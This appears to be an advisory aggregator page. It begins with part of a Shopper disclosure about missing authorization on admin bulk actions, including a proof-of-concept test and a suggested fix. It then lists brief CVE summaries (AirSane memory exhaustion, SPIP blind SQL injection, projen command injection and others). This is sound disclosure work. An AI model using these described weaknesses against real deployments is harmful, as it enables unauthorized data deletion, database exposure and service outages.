- packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('accesssetting'). - packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('deletereviews'). - packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('deletecollections'). - packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('deletediscounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

PASS Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction ✓ it SHOPPER-2 PoC: browsetags viewer can DELETE all product tags via unguarded DeleteBulkAction

Tests: 7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

php $this->viewer = User::factory()->create(); $this->viewer->givePermissionTo('browseattributes'); $this->actingAs($this->viewer);

Attribute::factory()->count(3)->create(); expect($this->viewer->can('deleteattributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class) ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray()) ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correctpermission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

diff // Pages/Attribute/Browse.php ->groupedBulkActions([ DeleteBulkAction::make() + ->authorize('deleteattributes') ->label(('shopper::forms.actions.delete')) ->requiresConfirmation() ->action(function (Collection $records): void { / ... / }), BulkAction::make('enabled') + ->authorize('editattributes') ->label(('shopper::forms.actions.enable')) ->action(function (Collection $records): void { / ... / }), BulkAction::make('disabled') + ->authorize('editattributes') ->label(('shopper::forms.actions.disable')) ->action(function (Collection $records): void { / ... / }), ])

Apply the equivalent change to Pages/Tag/Index.php (deletetags), Pages/Brand/Index.php (editbrands for enable/disable), Pages/Category/Index.php (editcategories), and Pages/Supplier/Index.php (editsuppliers).

A regression test for each file (acting as a browse-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

- Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr. - Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain. - CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

AirSane is a SANE frontend, and a scanner server that supports Apple's AirScan protocol. Versions prior to 0.4.12 have a vulnerability in the custom HTTP server implementation of AirSane that allows a remote unauthenticated attacker to cause a Denial of Service (DoS) via memory exhaustion (OOM). In httpserver.cpp, the HttpServer::Request::content function reads the Content-Length header and directly passes this value to std::string::resize() without any upper-bound validation or safe parsing. An attacker can send an HTTP POST request with an artificially large Content-Length value. This forces the daemon to attempt allocating gigabytes of memory, resulting in a std::badalloc exception and immediately crashing the AirSane process. Additionally, providing non-numeric characters in the Content-Length header leads to undefined behavior (NaN to integer conversion) due to the lack of error handling during header parsing. Version 0.4.12 patches the issue.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Missing Authorization vulnerability in Pixar Labs Master Addons for Elementor allows Privilege Abuse.

This issue affects Master Addons for Elementor: from n/a through 3.2.2.

First published (updated )
Severity
7.6
SQL Injection
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Editor SQL Injection in Amelia <= 2.4.9 versions.

First published (updated )
Severity
7.6
SQL Injection
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Editor SQL Injection in Sky Addons for Elementor <= 3.8.4 versions.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Unauthenticated PHP Object Injection in Masteriyo - LMS <= 3.4.0 versions.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Subscriber Privilege Escalation in SMS Alert Order Notifications <= 3.9.9 versions.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Subscriber Privilege Escalation in Gato GraphQL <= 19.2.3 versions.

First published (updated )
Severity
7.5
Race Condition
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

A race condition in the document value layer of MongoDB Server can allow concurrent server threads to operate on the same internal memory without synchronization, leading to memory corruption. An authenticated user holding ordinary read-write privileges on a database may be able to trigger this condition over the normal client protocol, resulting in server termination and potential corruption of process memory with user-influenced content. Successful use of this issue may impact the confidentiality, integrity, and availability of the affected server process.

First published (updated )
Severity
7.5
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SPIP before 4.4.18 contains an unauthenticated blind SQL injection vulnerability in the public sitemap endpoint where the MySQL escaper spipmysqlcite() in ecrire/req/mysql.php returns values unescaped when the target column is a date type and the supplied value matches the pattern of a word character followed by an open parenthesis. Attackers can supply a crafted value such as a time-based payload through the annee parameter in squelettes-dist/sitemap.xml.html to embed arbitrary SQL directly into the generated query, enabling time-based and boolean-based blind SQL injection that can expose arbitrary database content including the aleaephemere secret used to sign action nonces.

First published (updated )
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Improper neutralization of special elements used in an OS command in the task synthesis component in projen before 0.103.0 might allow context-dependent attackers to execute arbitrary commands on a developer workstation or continuous integration runner via shell metacharacters in project configuration values and repository file names that are interpolated into generated task definitions.

To remediate this issue, users should upgrade to version 0.103.0 and then re-synthesize the project so that .projen/tasks.json is regenerated with the corrected task definitions. Upgrading alone is not sufficient because the generated task definition file is committed to the repository.

First published (updated )
Severity
7.1
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Relative path traversal in the generated file manifest cleanup component in projen before 0.101.37 might allow context-dependent attackers to recursively delete files and directories outside the project directory that are writable by the environment running projen, via crafted entries in the version-controlled generated file manifest that is consumed during project synthesis.

To remediate this issue, users should upgrade to version 0.101.37. The corrected containment check is automatically applied by the projen runtime next time you run it.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203